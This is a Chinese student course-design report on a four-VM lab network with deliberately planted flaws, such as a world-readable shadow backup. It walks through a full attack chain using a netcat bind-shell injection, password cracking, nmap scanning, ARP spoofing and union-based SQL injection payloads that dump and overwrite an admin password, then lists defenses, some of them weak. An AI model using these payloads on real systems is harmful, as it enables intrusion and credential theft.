《网络安全创新实验》课程设计
| 学院 | 网络空间安全学院 |
|---|---|
| 姓名 | 黄民哲 胡宇轩 王玉婷 |
2023年 5月 19日
目录
一、网络拓扑设计
二、网络主机概况
本实验一共包含4台虚拟机，分别为攻击机attacker，网关gateway，内网普通用户主机pc，内网服务器server，四台主机的详细信息如下表所示：
| 名称 | 操作系统 | IP地址 | 网络模式 | 作用 |
|---|---|---|---|---|
| 攻击机 | Ubuntu20.04 | 10.0.2.5 | NAT网络 | 攻击者操作的机器 |
| 网关 | Ubuntu20.04 | 10.0.2.15/192.168.1.1 | NAT网络/内部网络 | 公司的网关，同时运行了对外的网页服务 |
| 内网用户主机PC | Ubuntu20.04 | 192.168.1.2 | 内部网络 | 内网一名用户的主机 |
| 内网服务器server | Ubuntu20.04 | 192.168.1.101 | 内部网络 | 内网数据库服务器 |
4台网络主机的网络说明：
-
攻击机attacker在外网环境中，有一张网卡，其网络模式为NAT网络，IP 地址为10.0.2.15；
-
网关gateway在内外网的边界，有两张网卡，网卡1为NAT网络，IP地址为10.0.2.17，用于接入外部网络；网卡2的网络模式为内部网络，IP 地址为192.168.1.1，为公司内部网络的网关；
-
内网用户主机pc在公司内网，有一张网卡，其网络模式为内部网络，IP 地址为 192.168.1.2；
-
内网服务器server在公司内网，IP地址为192.168.1.101，有一张网卡，其网络模式为内部网络。
实验设计时，假设内网数据库服务器存有公司机密数据，并对内网提供HTTP网站服务来管理该数据库，攻击者的最终目的是获取该网站的管理员用户密码。
三、主机部署过程
3.1 网关机gateway
网关服务器向外部网络提供数字证书签发服务，以网站形式提供，需要配置apache、php环境。
$ cd ~/web
$ sudo cp -r certificate/ /var/www/
// 修改Apache2网站配置：
$ cd /etc/apache2/sites-available/
$ sudo gedit 000-default.conf
// 在最后添加
<VirtualHost \*:80>
ServerName http://www.cert.com
DocumentRoot /var/www/certificate
</VirtualHost>
$ sudo service apache2 restart
在网关服务器上安装netcat-traditional：
$ sudo apt-get install netcat-traditional
备份shadow文件为shadow.backup，然后赋予755权限
$ sudo cp /etc/shadow shadow.backup
$ sudo chmod 755 shadow.backup
3.2 攻击者主机
攻击机需要配置hosts文件以访问网关服务器提供的网页
在攻击者主机上：
$ sudo gedit /etc/hosts
// 添加
10\.0.2.15 [www.cert.com](http://www.cert.com)
打开浏览器输入http://www.cert.com/certificate.php进行访问，如果成功访问则配置成功。
3.3 内网用户主机
要让内网用户主机能够访问内网数据库服务器提供的数据库网页，同样需要修改hosts文件。
$ sudo gedit /etc/hosts
// 添加
192\.168.1.101 www.server.com
3.4 内网服务器
安装Elgg
在服务器上（服务器已部署了elgg数据库）：
//将附件中server.zip进行解压后进入该文件夹
$ unzip server.zip
$ sudo cp -r server/ /var/www/
//修改 Apache2 网站配置
$ sudo gedit /etc/apache2/ports.conf
// 增加监听端口8080
Listen 8080
$ cd /etc/apache2/sites-available/
$ sudo touch server.conf
$ sudo gedit server.conf
// 在最后添加
<VirtualHost \*:8080>
` `ServerName http://www.server.com
` `DocumentRoot /var/www/server
</VirtualHost>
$ sudo service apache2 restart
//导入网站所需数据库：
$ cd ~/server/
// 进入 mysql
$ sudo mysql -u root
// 进入名为 elgg 的数据库
mysql> use elgg;
// 导入数据库文件；
mysql> source SQLi.sql;
// 退出 mysql 终端
mysql> exit;
四、存在漏洞分析
4.1 命令行注入漏洞
- 攻击者访问部署在gateway上的http://www.cert.com/certificate.php，在证书签发服务中，需要用户提供姓名、邮箱、手机号码等信息，在该网页的php代码中，直接将用户输入内容作为参数输入命令行执行，因此存在cmd注入漏洞。
4.2 口令破解漏洞
- 在gateway上，存在有shadow文件的备份shadow.backup，且该备份文件的权限较低，非root用户也可读，因此攻击者可以利用此文件破解出gateway的root密码，登陆其root账户进行进一步攻击。
4.3 网络扫描
- 查看网关服务器的网络信息后，可以对公司内网进行nmap扫描，从而发现公司内部存活主机以及每台主机开放的端口，根据端口信息判断其开放的服务
4.4 网络欺骗漏洞
- 在拿到网关服务器(gateway)的root权限后，通过arp欺骗欺骗内网服务器，使其关于内网普通用户主机的arp缓存信息的mac地址欺骗为网关服务器机IP，网关服务器作为中间人可以截取双方的通信信息，从而获取内网服务器的域名、内网用户的密码等相关信息。
4.5 SQL注入漏洞
- 网关服务器访问内网服务器，通过简单的注入判断发现服务器存在SQL注入漏洞，通过构造相应的SQL注入语句从数据库读取敏感数据、并且拿到数据库服务器的管理员账号，获得操作数据库的完整权限，从而完成整个攻击。
五、网络攻击实现
- 整体攻击流程如下图所示。
5.1 攻击网关服务器
在攻击机上浏览网关服务器提供的网页，通过cmdi攻击，在“手机“一栏注入的命令为
nc -l -p 10086 -e /bin/bash
然后在攻击机上通过nc连接gateway的10086端口即可访问其bash：
在当前文件夹下，发现了一个shadow.backup文件，查看其内容，获取root账户密码的哈希值。
然后攻击者使用john the ripper对其进行破解，获得密码：
为了方便下一步攻击，在拿到root权限以后，在gateway上打开ssh服务并设置ssh密码登录与访问GUI（这里是为了后续在gateway上使用wireshark抓包）。
// 在gateway上
$ sudo vi /etc/ssh/sshd\_config
// 取消`X11Forwarding yes`的注释
// 在服务器端，添加一个~/.Xauthority文件
// 添加如下内容
# only this one key is needed for X11 over SSH
xauth generate :0 . trusted
# generate our own key, xauth requires 128 bit hex encoding
xauth add ${HOST}:0 . $(xxd -l 16 -p /dev/urandom)
# To view a listing of the .Xauthority file, enter the following
xauth list
// 在攻击机上
$ sudo vi /etc/ssh/sshd\_config
// 取消注释`AllowAgentForwarding yes, X11Forwarding yes`两项
$ ssh -X root@10.0.2.15
5.2 内网嗅探
-
在网关服务器上查看其网卡信息，可以知道其内网ip地址为192.168.1.1，于是对内网网段192.168.1.0/24使用nmap -Pn扫描，检测内网拓扑情况。
-
nmap扫描结果如下：
成功扫描到了内网主机192.168.1.2与内网数据库服务器192.168.1.101，且看到在内网数据库服务器上运行了http服务。
5.3 ARP欺骗
为了登陆部署在内网服务器上的http网站，在gateway上安装dsniff，对内网用户机进行ARP欺骗，伪装自己是内网服务器。
- 安装dsniff：
$ sudo apt install dsniff
- 打开内核转发：
$ sudo gedit /etc/sysctl.conf
//修改net.ipv4.ip\_forward = 1
$ sudo sysctl -p
- 进行arp欺骗攻击：
$ sudo arpspoof -i enp0s8 -t 192.168.1.2 192.168.1.101
- 然后在wireshark中抓包，截获了内网用户机登陆了/unsafe/home.php这一网站。
5.4 SQL注入
- 首先在gateway上打开ssh-tunnel，使攻击机能够访问内网服务器提供的网页：
$ ssh -Nf -L 10090:192.168.1.101:8080 <root@10.0.2.15>
-
然后开始SQL注入攻击：
-
首先判断注入类型，分别尝试PC，PC\，PC’ #发现注入类型为’ #
-
使用order by子句二分法判断返回结果的字段个数，最终尝试出为11个字段
-
然后输入1' union select 1,2,3,4,5,6,7,8,9,10,11#来显示报错位：
-
使用1' union select 1,2,database(),4,5,6,7,8,9,10,11#查找当前库名：
结果为elgg
-
得到库名以后查找当前数据库中的表
1' union select 1,2,group\_concat(table\_name),4,5,6,7,8,9,10,11 from information\_schema.tables where table\_schema=database() #
-
查询表credential中的字段
1' union select 1,2,group\_concat(column\_name),4,5,6,7,8,9,10,11 from information\_schema.columns where table\_schema=database() and table\_name='credential' #
-
查找数据，得到管理员账户的名字为Admin
1' union select 1,2,3,4,5,6,group\_concat(Name),group\_concat(Password),9,10,11 from credential #
-
得到管理员账户的名字以后，通过SQL注入登陆PC账号在简介处注入恶意代码修改管理员账号的密码为AttackSuccessfully!。
',Password='7643fc2cee2b2c27d8fb45a4df23715b76f3b83b' where name = 'Admin'#
-
修改完成后，使用此密码成功登陆管理员账号，攻击成功
-
六、防御措施总结
6.1 cmd注入攻击的防御措施
- 对对应的输入框加入长度限制，让用户难以输入复杂的命令。
<div class="form">
<form action="<?php echo htmlspecialchars($\_SERVER["PHP\_SELF"]); ?>" method="post">
<h1>请求数字证书</h1>
<div class="txtb">
<label for="">姓名:</label>
<input type="text" placeholder="请输入姓名" name="name" maxlength="20">
</div>
<div class="txtb">
<label for="">邮箱:</label>
<input type="email" placeholder="请输入邮箱" name="email\_addr" maxlength="20">
</div>
<div class="txtb">
<label for="">手机:</label>
<input type="text" placeholder="请输入手机号码" name="phone\_num" maxlength="11">
</div>
<input type="submit" value="提交请求"/>
</form>
</div>
- 对对应输入加入特殊符号的检查，将;,&,$等符号替换掉，防止用户进行cmd注入。
// 设置替换字符
$substitutions = array(
`'&' => '',
`';' => '',
`'|' => '',
`'-' => '',
`'$' => '',
`'(' => '',
`')' => '',
`'`' => '',
`'||' => '',
);
// 替换上述字符
$target = str\_replace( array\_keys( $substitutions ), $substitutions, $target );
6.2 口令破解攻击的防御措施
-
不要泄露shadow文件，即使需要对其备份，也应该将其设置为仅root用户可读。
-
设置强度较高的复杂密码，不要使用容易出现在字典中的常用密码，防止被爆破。
6.3 网络扫描攻击的防御措施
在主机上配置防火墙，设置对icmp echo request等包进行拦截：
$ sudo iptables -A FORWARD -p icmp --icmp-type echo-reply -j REJECT
6.4 ARP欺骗的防御措施
-
针对ARP欺骗可以采用如下防御措施：
-
采用MAC地址的静态绑定，让内网中的每台主机都有固定的IP和MAC地址，不容易被修改。
-
手动更新ARP缓存中的记录，防止ARP欺骗包篡改ARP映射表。
-
使用ARP防护软件，如ARP防火墙，及时拦截和过滤ARP欺骗包。
-
通过流量嗅探的方式，及时发现并隔离正在进行ARP欺骗的主机。
-
-
本实验中采用MAC地址的静态绑定来防止ARP欺骗攻击：
$ sudo arp -s 192.168.1.101 08:00:27:AE:09:E9
$ sudo arp -s 192.168.1.2 08:00:27:57:4C:94
6.5 SQL注入攻击的防御措施
- 产生注入的根源是代码中直接使用了用户输入的数据来拼接SQL语句，没有进行有效的过滤或转义
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,email,nickname,Password FROM credential WHERE name= '$input\_uname' and Password='$hashed\_pwd'";
$sql = "UPDATE credential SET nickname='$input\_nickname',email='$input\_email',address='$input\_address',Password='$hashed\_pwd',PhoneNumber='$input\_phonenumber' WHERE ID=$id;";
- 采用预编译的方式进行处理，将SQL语句的解析和执行过程分开，只在执行的过程中代入用户的数据：
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind\_param("ss", $input\_uname, $hashed\_pwd);
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind\_param("ssss",$input\_nickname,$input\_email,$input\_address,$input\_phonenumber);
七、课程设计总结
-
本实验使用了四台虚拟机，分别对应模拟现实中的：攻击机、企业对外提供服务的网关主机、企业内部人员使用的普通主机、企业存放重要数据的服务器。利用构造的各类漏洞，分别实现了cmd注入攻击、口令破解攻击、网络扫描攻击、ARP欺骗攻击和SQL注入攻击五种方式。
-
具体的攻击流程：
- 黑客访问公司外部网站，利用cmd注入攻击在gateway上用netcat运行bash，并在攻击机上连接。
- 然后在gateway上找到并获取了非root用户可读的shadow.backup文件，对其破解获取到了gateway机器root用户的密码。
- 获取其root密码以后，使用nmap进行网络嗅探，对内网的另外两台主机进行发现。
- 发现配置有HTTP服务的内网服务器以后，在gateway上伪装成其向用户机器发起欺骗，从而截获内网用户发出的HTTP数据包，获取其访问的网址、账号密码。
- 最后发现该网站存在SQL注入漏洞，对其进行SQL注入修改管理员账号的密码，成功登入管理员账号。